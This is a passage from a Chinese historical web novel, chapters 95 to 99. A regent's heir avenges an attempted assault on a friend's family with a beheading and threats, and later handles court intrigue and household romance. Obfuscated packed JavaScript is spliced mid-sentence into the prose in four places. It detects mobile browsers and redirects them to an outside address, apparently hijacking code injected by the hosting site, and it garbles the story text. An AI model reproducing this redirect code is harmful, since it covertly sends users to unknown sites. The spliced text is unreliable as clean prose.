“杀了五个人?为什么?” 第95章 妾身愿以身相许,不离不弃 林臻心中跟明镜似的。 毛梦极绝非是那种倚仗权势、恃强凌弱的性格。 如今杀了人,又亲自上门求助,这其中必有隐情。 轻轻一挥衣袖,一行人随着他步入装饰雅致的会客厅。不多时,一名身着粉色衣裙的丫鬟,脚步轻盈地步入厅内,为众人斟茶。 毛梦极往昔也曾住在顾府,对这等豪宅大院并无太多惊异。 然而,月妩、毛李氏和平儿却是头一回来到这等富丽堂皇之地。 她们的眼眸中闪烁着对周遭新奇景致的好奇与惊叹,但遗憾的是,先前的一番波折让她们心有余悸,此刻虽置身于美景之中,却难以提起兴致细细打量。只唉声叹气地坐在椅上,神色间难掩疲惫与不安。 林臻轻轻啜了口茶,目光温和却带着几分锐利,缓缓开口:“现在说吧,到底发生了什么事情。 月妩将晚上发生的事情和盘托出,言辞间,谈及廉松那不堪入耳的粗鄙行径,眼眶不禁泛红,晶莹的泪珠悄然滑落。 而毛李氏更是遭遇了强制猥亵,此刻的她,泪水如断了线的珠子,哽咽难言,满是委屈与悲愤。 “呜呜呜 “娘亲~娘亲不哭!平儿稚嫩的小手紧紧拽着母亲的衣角,奶声奶气地安慰着,那双清澈的眼睛里满是对母亲的心疼。 毛梦极攥紧双拳,眼珠子通红。 只要想起妻儿与姐姐的遭遇,他就痛恨自己无能,恨不得现在就带兵屠了廉家满门。 林臻听闻此事,亦是怒不可遏。 以前毛梦极在顾家的时候,何人不对他们一家敬如上宾?现在离开顾家,那些宵小便原形毕露,全然不顾礼数与律法,上门凌辱。 此等行径,简直天理难容! 林臻愤然地一拍案几,那声响中蕴含着无尽的怒火:“杀得好!这群人渣就该死。 月妩用手绢轻轻拭去眼角残留的泪痕,声音中带着一丝颤抖:“跟着廉松来的还有四个人,见廉松被打死了就发了疯似的冲上来,结果也被梦极. 原来如此,说杀死五个人,竟是这么来的。 月妩神色焦急,继续说道:“世子,廉松他父亲是工部侍郎,更是顾家多年的心腹之臣,他绝不会善罢甘休的,我们该怎么办啊? 林臻也稍有犹豫。 一个侍郎而已,想杀他甚至都不用自己亲自出手。真正的难题在于如何行事方能合乎道义,不落他人口实。 毕竟,他苦心孤诣在慕容嫣心中一点一滴累积起的 好感,一旦有所差池,便可能如沙堡遭潮,瞬间崩溃。 月妩见林臻面露犹豫,还以为他想要什么好处。于是她她轻启朱唇,仿佛含着一汪春水,随后缓缓起身,以一种柔美至极的姿态向他盈盈一拜,双颊不自觉地染上了两朵娇艳的绯红。 “只要世子愿意伸出援手,救救梦极。妾身愿以身相许,从此常伴世子左右,不离不弃。” 望着月妩那急于表明心迹的模样,林臻赶紧摆了摆手。 趁人之危,非大丈夫所为。 林臻虽然不算君子,但他也绝不是奸诈小人。 不屑于以卑劣手段,借人之困,谋取私欲;更不会以救人为饵,换佳人落红。 所以,林臻打算先给她们吃了个定心丸:“没事,这几天你们就住在我家里,廉强的事情我会处理。” 言罢他沉声吩咐道:“来人,把侯春和二狗给我叫来!” “是。”丫鬟答应一声,急忙去了。 不多时,侯春与二狗身着紧身黑衣练功服,步伐矫健地步入会客厅。 见林臻面色如霜,眉宇间透露出火气,二人连忙单膝跪地,齐声唤道:“世子。” “猴子,你火速带人去月妩酒楼,把廉松的脑袋割下来,用坛子装好。” “是!” 侯春领命而去,林臻想了想,既然要打架,不带上打架大王怎么行? 随即他转向二狗,低声吩咐:“二狗,你立刻去将军府喊胖子,让他带上府兵围住廉府。老子今天要教教他们怎么做人!” “是!”二狗应声,跑出门迅速集结人手,趁着夜色悄然出门。 林臻缓缓站起,步伐沉稳地迈向月妩。 月妩轻轻仰首,恰好迎上了林臻深邃的目光。四目相接中仿佛藏着春日里最温柔的暖阳。 月妩不知不觉地站起来,浑身仿佛被一股暖流轻轻包围。 林臻的声音低沉而温柔,如同夜风中摇曳的风铃,每一个字都清晰落入月妩的心湖:“以后除了我,没有人能动你们。” 月妩的心弦被一股暖流深深拨动,眼眶不由地氤氲起层层红雾,她连忙以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789228|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袖掩面,盈盈作揖,声音中带着一丝哽咽:“多谢世子。” 言罢,她轻轻扯了扯身旁毛梦极的衣袖,眼神中带着几分催促与鼓励。 毛梦极这才如梦初醒,嘴唇微张,神色间交织着复杂难言的情绪。他似乎在内心深处挣扎了许久,终于深吸一口气,鼓起勇气说道:“世子.多谢了。” 林臻闻言,嘴角勾起 一抹温润的笑意。 这毛梦极,终于就是我的人了。 没错,今夜过后,他就是我麾下的第一战将。 “不必,你们在家等消息即可。”言罢林臻笑着捏了捏平儿圆润的小脸,回到卧房更衣。 世子要出门打架的消息不胫而走,很快便传到林震仙这里。 林震仙老爷子夜未深眠,正端坐于书桌前,笔走龙蛇,墨香四溢。 闻此突兀之语,他缓缓抬头,眉宇间闪过一丝疑惑:“出门打架?” 林安点点头道:“没错。据丫鬟说,廉强之子廉松,今夜竟妄图强暴两名女子,好巧不巧,这两名女子,一位是毛梦极的胞姐,一位是他发妻。于是毛梦极大怒之下杀了廉松,现在求到了世子这里。世子震怒,要带兵抄了廉家。” 林震仙非但不怒,反而嘴角勾起一抹笑意,轻轻捋了捋下颌斑白的胡须,语带几分赞许道:“好小子,学会收买人心了。” 林安道:“老爷,世子现在尚未出门,我们要不要阻拦?” 林震仙摆了摆手,神色淡然:“不必,廉松此子在京城向来跋扈,犯下的案子数不胜数,若不是刑部和大理寺都有顾家的人,他早就该死了。” “可如果世子真的带兵前去,难免落人口实。” 林震仙说道:“他不会的,这小子现在很有手段,即便是领兵前去也不会肆意杀人,顶多是对廉家略施惩戒而已,好将事态平息。毕竟,廉强儿孙众多,少了一个,也算不得什么大事。” “老奴省得了,这便去安排人手暗中监视。” “嗯。”林震仙轻轻颔首。 待林安退下时,他脸上依旧挂着一抹淡淡的笑意。 这顽皮的孙子倒是出息了不少,懂得运用自己的力量去应对敌人,而不是哭着喊着来求自己。 好啊,真是好啊。 廉强啊廉强,碰到我的孙子,算你倒霉。 第96章 敢欺辱我的小妾,活腻歪了 林臻踏出府邸之时夜色已深净街鼓的声音催促着人们回家为这宁静的夜晚添上一抹不容侵犯的庄严。 众所周知宵禁是专门给老百姓制定的摄政王世子显然不在这条规矩内。 兵马司巡防见到林臻不仅不拦还带队敬礼打招呼。 领头的王锵是位面容坚毅的伍长见到林臻那张冷若寒霜的脸庞以及他手中紧握的长剑、身后凶神恶煞的卫兵心中不由一凛连忙上前话语中带着几分小心翼翼:“世子您这是.” “滚。” “是。” 林臻的目光如同锋利的刀刃没有丝毫温度吓得王锵连个屁都不敢放立刻带人走了。 林臻的步伐坚定毫不迟疑地迈向廉府心中怒火中烧。 这世间竟有廉松这样嚣张跋扈之辈公然践踏律法 身为大乾王朝的摄政王世子他自知身份尊贵即便是以纨绔之名闻名遐迩也未曾有过半分强取豪夺、欺男霸女的行径。 反观那侍郎之子何德何能竟敢如此放肆? 这个国家真是到处藏污纳垢每个阶级里都有坏蛋必须得从头好好整治不可。 抵达廉府门前只见夜色深沉府邸大门紧闭连那平日里守门的小厮也已沉入梦乡门前一片寂寥。 林臻眉头紧锁目光转向身旁的侯春低声问道:“二狗呢怎么还没回来?” 侯春手中提着一个密封的坛子里面隐约透出一股难以名状的腥臭令人不由自主的皱眉。 闻声连忙答道:“回世子属下办完了事情就一直在这等着没看到二狗。” 正当二人言语间一阵急促而慌乱的脚步声由远及近:“世子!世子!” 二狗气喘吁吁地跑回来见到林臻便上气不接下气的说道:“世子!大事不好了胖爷不知何故触怒了大将军被吊在树上一通暴打来不了了。” “啊?” 吊在树上打? 王铁男可是个好脾气竟然闹到这个地步。 难道说是因为夜闯喇嘛庙的事情? 林臻惊讶得合不拢嘴。 “有没有说因为什么?” “没有小的问了平时跟我们一起玩的军卒他们也说什么都不知道。” 林臻说道:“罢了不来就不来侯春把门踹开!” “是!”侯春应声将手中的坛子递给身边的韩忠随后朝掌心啐了口唾沫搓了搓手箭步冲刺蓄力至极 ,猛地一脚踹向紧闭的大门。 “砰! “轰!大门在巨大的冲击力下,轰然洞开,发出沉闷而震撼的声响。林臻手臂一挥,宛如指挥千军万马:“冲进去!把廉强给老子抓起来! “是! 府邸之内,原本宁静的夜晚被这一突如其来的变故撕得支离破碎。丫鬟小厮们更是被这震耳欲聋的声响吓得魂飞魄散,纷纷从各自房中踉跄而出,有的衣衫不整,有的赤足趿拉,惊恐的呼喊声此起彼伏,乱作一团。 “啊!有贼人闯府了! “救命啊!快来人哪!! “快去叫老爷夫人! “别杀我!别杀我! 面对那些丫鬟抱头鼠窜、春光乍泄的惨状,黑甲士兵们面无表情地从他们身旁掠过,如同夜色中的幽灵,直奔府中后堂而去。 一时间,府邸之内乱作一团,有人惊慌失措地逃窜,有人声嘶力竭地呼喊,整个府邸仿佛被一股无形的恐惧所笼罩。 廉强刚刚躺下,就被这突如其来的喧闹声惊醒,他匆忙披上衣裳走出房间,只见一对黑甲士兵已然屹立在自己门前,气势汹汹,凶神恶煞。 而为首那人,正是韩忠! 他的身影在夜色中若隐若现,却透着一股令人心悸的寒意。 这次,韩忠没有任何犹豫,因为他听闻了廉家的所作所为,心中同样怒不可遏。 这些达官显贵,仗着自己的权势与地位,肆意践踏百姓的尊严与权益,甚至当街强抢民女,夜夜做新郎。若非有林臻出手,他们还不知道要让多少无辜的家庭陷入苦难与绝望。 对于这样的败类家族,韩忠杀之,没有丝毫的负担与愧疚。 廉强见状,眉头紧锁,厉声质问道:“你是何人?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789229|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 韩忠不语,只问道:“你可是廉强? “没错,老夫就是工部侍郎廉强,尔等胆敢深夜擅闯朝廷命官府邸,眼中还有王法吗? “王法?廉强,你也知道王法吗?一阵更为深沉的声音自黑甲士兵的阴影中缓缓传来。 廉强瞳孔巨震。 这个声音他太熟悉了,这不正是在金銮殿上大放异彩的王府世子,四九城里的顶级纨绔,林臻的声音吗? 士兵们如同潮水般自动分开,为来人让出一条宽敞的道路。月色朦胧之下,林臻那张因愤怒而略显扭曲的脸庞,赫然映入眼帘。 廉强强压下心中 的惊惧,迈步上前,先行了一礼,随后质问道:“原来是世子亲临。老夫自问与你无冤无仇,你为何半夜带兵闯府?” “无冤无仇?呵。”林臻嘴角勾起一抹冷笑,那笑意却未达眼底,冷冽如寒风刺骨。 “廉强,你纵容儿子,残害百姓,犯下无数血案。本来我不想管,但今日,你那宝贝儿子廉松竟敢在朗朗乾坤之下欺辱我的小妾!若非我及时赶到,她怕是已遭不测。这就是你说的无冤无仇?” 林臻的话语,字字如锋,句句似刀,每一声都精准无误地凿刻在廉强颤抖的心房之上, 他做梦也想不到,廉松那小子竟会胆大到去招惹摄政王世子林臻的妾室,这TM不活腻歪了吗? 也难怪人家大半夜就打上门来。 一时间,廉强只觉得脊背发凉,额头冷汗涔涔而下。 他再次朝林臻深深作揖,声音中带着几分恳切与无奈:“世子,老夫教子无方,实属罪过。这便命人将那不肖子擒来,向您当面请罪。” 言及此处,他转头对身旁的家丁厉声道:“来人!还不赶紧把廉松这个小畜生给老夫抓回来!” “不必了,他在这呢。”林臻冷冷地打断了廉强的话。 廉强一时未解其意,正疑惑间,只见林臻已从侯春手中接过一个坛子,猛地往他脚前一摔! “啪!”坛子应声而碎,里面滚出来个血淋淋的人头! 第97章 今晚,世子可是我的! 林臻的目光如刀,直指那碎裂的酒坛:“这不是你儿子吗? “啊!廉强一眼便认出了那是自己的长子廉松。顿时心如刀绞,双腿一软,跪倒在地,双手颤抖着将那颗头颅揽入怀中,悲呼道:“我的儿啊!! “林臻,你这个魔鬼!竟残杀我儿子,老夫要你血债血偿! “你儿子死有余辜!廉强,你最好认清楚现实,否则刘家就是你的前车之鉴!林臻的嘴角勾起一抹冰冷的笑意,缓缓俯身而下,眼中闪烁着轻蔑与嘲讽的光芒。 他带着一丝羞辱的意味,轻轻拍了拍廉强那张已被鲜血染红的脸庞,语调戏谑:“你现在只死了一个儿子,还有九个呢,难道说你想让他们全都去死? 廉强嘴里有血渗出来,估计是咬断了牙齿,声音中带着难以抑制的悲愤。 “林臻,纵使我儿一时糊涂冒犯了你的侍妾,那也罪不至死。况且还有大理寺,宗人府,刑部等等官署在侧。如今你滥用私刑,杀我儿子,现在还敢威胁我!你真以为这世间没人能治得了你了吗? 林臻还不客气地回怼道。 “廉强,亏你还是个侍郎。怎的如此冥顽不灵?你这个儿子作恶多端,臭名远扬,死有余辜! “现在我把他弄死了也算为民除害。你若识相,就把这事压下,我还可以助你二儿子平步青云,但你若是想死磕,我就让你全家都去死,顾云霆也保不住你,我说的! 林臻的眼中闪烁着疯狂的红光:“我林臻,向来说到做到。 言罢林臻起身,看着眼睛猩红一片却呆愣愣坐在地上的廉强:“明天金銮殿,我等着你。 “收队。 韩忠带着黑甲士兵列队,护送着林臻离开廉府。 林臻走了,而廉强仍如石雕般僵坐于冰凉的地砖上,紧紧搂着儿子那已无生气的头颅不愿放手。 院中,丫鬟仆役们跪成一片,无声地环绕在廉强周围,给予他一份沉重的陪伴。 妻子孟氏一袭素衣轻裹,步伐沉稳,引领着十六位身着同样淡雅服饰的小妾,缓缓步入院中, 她们每个人的表情都平静如水,未见丝毫泪痕。 不仅如此,孟氏的双眸深处还隐藏着一抹不易察觉的释然,乃至淡淡的喜悦。 这复杂情绪在如此沉重的场合下显得尤为突兀。 放眼望去,全场除了廉强以外,没有任何人对廉松的死感到悲伤与心痛。 尤其是丫鬟们,虽然默默无闻的跪着,但眼睛里全都是对这 个败类伏法的窃喜与嘲笑。 孟氏走过来缓缓蹲下身,装模作样的用手帕擦了擦眼角,说道:“老爷,松儿已经没了,您要振作起来啊。 廉强的双眸几乎要喷出火来,从牙缝中挤出几个字,字字如刀:“林臻!!老夫一定要让你付出代价! 孟氏闻言轻叹一声:“唉,王府势大,松儿又非礼世子小妾在先,就算我们去求顾相,他也不会帮我们的,您想想刘翰阳就知道了。 “我的儿啊.廉强眼眶再度泛红。 孟氏轻抚着廉强的背,柔声劝慰,声音中带着几分蛊惑:“老爷,您还有双儿,智儿那么多儿子呢。至于松儿,您就把他安葬了,也好让他快些投胎才是,这么身首分离的在这,他也不安生啊。 廉强闻言却猛然间松开了紧握着的头颅,怒意冲冲地站起身,一巴掌抽在崔氏的脸上,清脆而响亮。 “啪 “啊!孟氏被打倒在地。 “毒妇!廉强怒目圆睁,声音颤抖,“你怎知他不安生?你怎知他那么想投胎?你就是看松儿不是你亲生儿子,所以才着急让你儿子上位是吗?想用松儿的血换你儿子的前程,你做梦! 原来,廉强并非孟氏所出,而是廉强与前妻的儿子。 只可惜他的发妻因为难产去世,所以这么多年来廉强对这个儿子十分疼爱,以至于让他在京城里肆无忌惮,嚣张跋扈。 孟氏捂着脸颊,瘫坐在地上委屈巴巴的说道:“老爷何出此言!是松儿自己惹上王府,现在身首异处与我何干?难道他死了,你就要带着所有的孩子一起陪葬吗? 廉强的身躯不由自主地微微一晃,似是被这突如其来的重击撼动了心神。 他也明白孟氏的话。 摄政王府实在是太强大了,强大到林震仙都不需要做什么,只一句话就能让廉家上上下下陷入万劫不复之地。 即便拉上顾家入局,两家联手也不过是蚍蜉撼树,以卵击石。 更何况顾家还不见得愿意帮忙。 廉强只觉一股无力感如潮水般涌来,瞬间抽走了他全身的力气。 他缓缓垂下头颅,垮下肩膀,往昔那股雄浑的气势荡然无存,只余下几声无奈的叹息,在空旷的院内回荡:“唉,罢了,罢了 回归王府之时,夜色已深,月妩与毛梦极等人却毫无倦意,依旧在灯火通明的会客厅中静静守候 他们的身影在烛光下拉长,带着几分焦急与期盼。 林臻踏入门槛,月妩即刻起 身眼中闪烁着关切之色轻声问道:“世子事情可还顺利?” 林臻轻轻抖落身上的大氅将其递给一旁困意朦胧的浣碧随后坐在椅子上。 “廉松死有余辜你们不必担心。这几天就安心住在我家吧酒楼的事情我会重新安排的。” 言及此刻林臻的视线轻轻一转落在了毛梦极的身上目光中带着几分深意:“至于毛将军不知可曾考虑过今日我说的话?” 毛梦极血红的眼睛望向林臻。 两个时辰的静默已经让他内心有了决断。 既然顾家已经不再需要自己那就加入林家吧。 这不仅是实现心中抱负的绝佳机会还能很好的保护家人。 其实自己完全没必要拿亲人的性命来保全自己对顾家的忠诚更没有必要和自己的前途过不去。 想清楚这些的毛梦极他猛地站起身形挺拔如松。 紧接着单膝跪地 “好!哈哈哈哈。”林臻爽朗大笑声震屋瓦满是欣慰与豪情。 顾北辰麾下第一战力以一己之力横扫千军被誉为继林震仙之后的新一代华夏军神——毛梦极。 终于是我的人了! 这无疑是自己称霸天下的一块重要基石。 林臻大喜欣然起身力度十足地拍了拍毛梦极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789230|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚实的肩膀眸中满是赏识与期许:“兄弟你放心我定会让你的惊世之才大放异彩!绝不会像顾家一样埋没的。明日我就写奏折让陛下重新启用你。” 毛梦极闻言亦是激动澎湃双拳紧握:“多谢世子厚爱!属下定当肝脑涂地以报知遇之恩。 “嗯夜色已深诸位也辛苦了且先去休息吧。” “是。” 浣碧伸手虚引:“诸位请跟我来。” 毛梦极恭敬应答再次向林臻投去感激的目光随后在浣碧的引领下携同妻儿一同离去。 月妩缓缓起身步伐中带着一丝矜持轻移莲步来到林臻面前。 她的脸颊上悄然绽放出一抹羞涩的绯红声音细若蚊蚋:“世子妾身” 言未尽情已浓。烛火下她的身影更显温婉动人。 林臻知道她想说什么嘴角勾起一抹温煦的笑意轻声抚慰:“别想太多先休息吧。” “哦是。”月妩轻声 应答,心中却不由自主地泛起一阵失落。 自己已经鼓足勇气,将自己的一颗心,连同那份愿意为君倾尽所有的决意,悄然袒露。 为何他依旧保持着那份淡然,不来亲近于我呢? 我明明都已经这么主动了呀! 难道说,是我长得不漂亮吗? 还是说林世子嫌弃我年龄大,不愿意和我行房呢? 诸多纷杂念头如潮水般涌来,令月妩心中五味杂陈,喜忧参半。此时,一旁的浣碧见状,嘴角勾起一抹轻笑,眼神中带着几分窃喜。 今晚,世子可是我的! 会客厅内的烛火似乎也感应到了这份静谧,光芒柔和了几分,林臻悠然端坐于席位之上,细细梳理着这件事的始末。 其实这件事情的关键就在于分寸的拿捏——既不能伤及无辜,亦不可兴师动众。 否则,林家恐将背上私用武力、藐视王法的恶名,那样会给所有官员心里造成一种恐慌。而且长远来看,这等举动无疑会给林臻乃至王府的名声造成一定的影响。 但如果只是林臻自己去,那就是纨绔间因为争风吃醋的打闹。 死一个便死一个,廉家都不追究,皇帝也不会抓着不放。 所以林臻在去廉家之前就已经吩咐好了属下,不得伤人,不得抢夺,更不能奸淫,只把目的达到就好。 目前来看,事情进展得很是顺利,只待明天和慕容嫣详细把事情经过说出来,以她温婉中不失刚毅的女子心性,料想对廉松之死亦不会有过多的愤懑之情。 毕竟同为女子,慕容嫣深知被男人暴力侵犯所承受的屈辱与创伤,说不定,她还会对廉强施以严惩,以正视听。 廉松这恶贯满盈之徒被林臻绳之以法的消息,想来会不胫而走,届时街头巷尾便会响起歌颂世子英明的声音。 但这些外在的欢呼,终究不过是浮世泡影,无足轻重。 真正关键的,是毛梦极已彻底归心。 当年因为顾云霆的一点知遇之恩就让这个少年将军死忠,如今自己救了他们一家四口,又许以他前程,他肯定会死心塌地的跟随自己。 这为三个月后的乾楚大战,又增加了一分胜算。 第98章 不是说好一起睡的吗? 浣碧怀揣着一丝期待与温柔,引领着毛梦极一行人去往偏院休息,随即赶快回到卧房, 然而,当她羞涩地推开房门,却发现林臻已经睡着了! 而且是侧身而卧,呼吸绵长平稳,睡得极香。 臭世子! 浣碧忍不住跺了跺脚,心中喃喃道:“不是说好要和人家一起睡的嘛,怎么自己就先躺下睡着了呢!” 回想起傍晚时林臻那温润如玉的邀请,浣碧便越是生气,可看着林臻那张恬静睡颜,又舍不得把他叫醒,只能将那份期待与欣喜都化作了苦笑。 “唉。” 浣碧带着一抹淡淡的哀愁,嘟着嘴巴,缓缓坐在床边那把雕花椅上。手执一柄轻巧的扇子,轻轻地、有节奏地摇晃着,为林臻驱散夏夜的蚊虫,不知不觉,竟也睡了过去。 夏天总是亮得很早,翌日清晨,一缕阳光悄悄探进屋内,正打在林臻脸上。 他舒爽地伸了个懒腰,缓缓苏醒,眼神中带着一抹初醒的迷蒙与笑意。 瞥见浣碧正恬静地趴在床边熟睡,青丝如瀑,几根鬓角的刘海轻轻贴浮在脸颊上,散发着淡淡的清香,林臻不禁玩心大起。 只见他轻手轻脚地捻起一缕刘海,如同捕捉晨曦中的微风,将这缕发丝在她的鼻尖轻舞,时而轻巧地穿梭于她的呼吸之间,时而又悄然撤离。 起初浣碧只道是蚊子,不自觉地挥手驱赶,可赶来赶去就是赶不走这只讨厌的蚊子。于是起身,揉揉微红的鼻尖,朦胧的睡眼缓缓睁开。 映入眼帘的,正是林臻那张带着几分略微顽皮笑意的脸庞。 想起昨夜的事情,浣碧心中不禁泛起一丝涟漪,情绪略显低落。对于林臻此刻的玩闹,她只是轻轻别过头去,不予理会,以一种近乎于静默的姿态避开他的视线,仿佛是在无声地诉说着内心的小情绪。 站起身,去衣橱里拿来林臻的官服丢在床上,也不亲自给他穿,转头又出去准备洗脸水。 林臻这个爱情笨蛋也不知道她什么意思,还傻乎乎地问道:“怎么不理我啊?” 浣碧没有回应,只留给林臻一个略显清冷的背影。 等她回来的时候,晴雯正亭亭玉立地站在门边,浣碧轻轻一推,将她送至林臻眼前说道:“以后你给世子穿衣服吧。” 晴雯正愁没机会勾引林臻呢,你还主动让给我! 一时间晴雯内心的感激之情犹如滔滔江水,连绵不绝。 林臻却是一脸茫然,望向浣碧,眼中满是不解:“碧儿,你怎么了?” 浣碧迟疑片刻朱唇轻启又合终是未吐半字只伸手探了探铜盆中的水温随即便端到他面前。 晴雯瞅准时机眼中闪烁着窃喜像个女流浪似的一把攥住林臻的玉带:“嘻嘻嘻喜~世子该更衣啦~” “这” 不知道为什么林臻只要看到晴雯那张坏笑的脸就有些胆寒像个羞涩的雏儿紧紧拽着玉带不放手连声音都带了几分慌张:“别别别我自己来就行。” “那可不成!哪有让世子亲自穿衣服的还是让奴婢来伺候您吧~”晴雯满脸的兴奋。 林臻的目光转向一旁的浣碧眼中满是求救的意味。 而浣碧正努力憋笑温婉的眸子里藏着几分戏谑却仍故作正经未发一言。 “给我起来吧你!”林臻被晴雯强行拽了起来紧接着身上的衣服就被扒得一干二净。 晴雯眼睛里都要喷出火花来了活脱脱一个女色狼的样子。 林臻苦着脸喊道:“碧儿你到底怎么了 “嘻嘻嘻~今天就是玉皇大帝来了也救不了您~咯咯咯!”晴雯娇笑着开始动手给林臻穿衣服。 至于过程就不阐述了女色鬼见到大帅哥还能有什么好事儿? 受完刑的林臻老脸一红晴雯拿起衣服十分满足地笑着走出去。 直至此刻浣碧方以一种近乎漠然的口吻说道:“世子觉得晴雯怎么样?” 林臻闻言一怔疑惑浮上眉梢:“你什么意思?” “世子既然喜欢晴雯何不纳她做妾?论起品貌才情想来总是胜过奴婢几分的。” 林臻愈发不解眉头紧锁:“你到底是怎么了为什么突然这么说话啊?” 浣碧娇嗔一声极其反常地翻个白眼未置一词只端着那盆温热的洗脸水袅袅婷婷地离去。 这弄得林臻更是不明所以。 独自一人食之无味地吃过早餐林臻就要去宫里上班了。 身为朝廷命官虽无需参加早朝但陪伴慕容嫣共阅奏折却是每日不可或缺的任务。 刚跨出房门便见凉亭之下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789231|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晴雯正沉浸在女红之中阳光斑驳映照着她低头专注的侧颜针线在她的指尖灵活穿梭美轮美奂。 林臻还是第一次这么耐心地欣赏一个女子的美。 可能是察觉到林臻的脚步声她抬起头嘴角悄然扬起一抹狡猾的笑意那双灵动的手指仿佛在空中捕捉着什么轻轻比划又抓了抓空气带着几分戏谑。 林臻见状,仿佛有股凉意自腹下升起,赶紧转过身,几乎是落荒而逃般离开。 一路奔至府门口,林臻的脚步方缓。 他忽然想起什么,一拍脑门。 记得初见晴雯之时,那份似曾相识的感觉便萦绕心头,如今想来,她竟与那10版《红楼梦》中的晴雯神韵相合,分毫不差! 甚至就连模样也十分相似,只是她比起演员来略显年轻,所以一开始才没认出来。 难怪她言辞犀利,行事间透露着一股不羁与大胆。 原来是那份骨子里的傲气与灵性。 林臻踏入皇宫的那一刻,便觉气氛有些不对。 一名青涩的十几岁小太监,不知因为什么触怒了慕容嫣,正被两名魁梧的侍卫粗暴地拽向宫外,他声嘶力竭地呼喊着。 “陛下饶命啊!” “陛下!奴才知错了,陛下” 唉,可怜的家伙。 林臻摇摇头,站在议政殿门口,扒着门缝往里面偷偷瞧了瞧。 而他的这一举动,并未逃过慕容嫣法眼。 只见坐在龙椅之上的她猛地一拍案几,那威严之声瞬间在空旷的大殿内回响,带着不容置疑的怒火:“林臻!还不滚进来!” “咳咳.”林臻闻言,不由得轻咳两声,以掩饰自己的尴尬。 林臻迈步走进殿内。 刚进来就看到慕容嫣铁青的脸和一脸冷笑得意的顾北辰。 这场景.不用多想,肯定又是这个孙子使坏了,只是不知道这次他又得到了什么把柄。 林臻恭敬地行了一礼,声音沉稳:“臣参见陛下。” “林臻,你干的好事!”慕容嫣怒喝一声,将手中的奏折狠狠甩向林臻的脸,仿佛要将满腔的怒火都倾泻而出。 只可惜距离太远,那奏折只划出一道美丽的弧线,带着细微的沙沙声响,软绵绵地落在了他的脚边。 第99章 顾北辰再送神助攻! 林臻微微一愣先是低头望向那无辜躺地的奏折随即眼神在慕容嫣与顾北辰之间徘徊带着几分不解与揣测。 最终缓缓俯身将奏折拾起。 只见上面的落款是顾云霆内容详细阐述了胖子是如何大闹喇嘛庙如何凶残地打杀喇嘛如何将慕容嫣曾虔诚参拜的舍利子羞辱般地塞入了自己的裤袋之中。 原来是这件事情啊。 唉没办法 林臻把奏折收起来走上前重新放回到慕容嫣的龙案上语调中带着几分安抚:“陛下息怒年轻人胡闹也是常有的事情嘛。” “胡闹?”顾北辰语气中带着奸计得逞的冷笑也有看热闹不嫌事大的戏谑。 “呵呵呵呵林臻你家赌场门口可就摆着两尊弥勒佛这也是胡闹?有这么胡闹的吗?你知不知道其中一尊弥勒佛可是陛下拜过的!” 慕容嫣的面容显然已被怒气染得失去了往日的温婉她极力控制自己的情绪厉声喝道。 “林臻!那喇嘛庙可是数代先皇虔诚供奉的神圣之地绝不是尔等纨绔胡闹的场所!早朝的时候天蓬将军主动请罪已经将王胖子交给了大理寺而摄政王也没有阻拦。现在你告诉朕这王胖子到底该如何处置!” 林臻轻轻一笑仿佛对一切波澜都置若罔闻:“呵呵呵不知道陛下打算如何处置呢?” 慕容嫣那双好看的眼眸此刻寒光闪烁:“朕要杀了他!!” 林臻闻言嘴角勾起一抹淡然的弧度仿佛在说一件微不足道的小事:“那就杀了吧。” “你说什么?”此言一出不仅慕容嫣愣住了就连一旁的顾北辰也是满脸愕然。 他还打算等林臻求情的时候好好羞辱羞辱他然后再跟他讨价还价呢。、 可谁知道林臻竟然对王胖子的命毫不在乎! 不可能绝对不可能! 顾北辰眉宇间满是困惑:“林臻王胖子不是你最好的朋友吗?” 林臻故作叹气的样子面上带着几分戏谑与无奈:“唉有道是天子犯法与庶民同罪。更何况是我的朋友啊陛下想杀便杀吧。” 林臻心里跟明镜似的。 他知道慕容嫣绝不可能昏聩到杀了胖子。 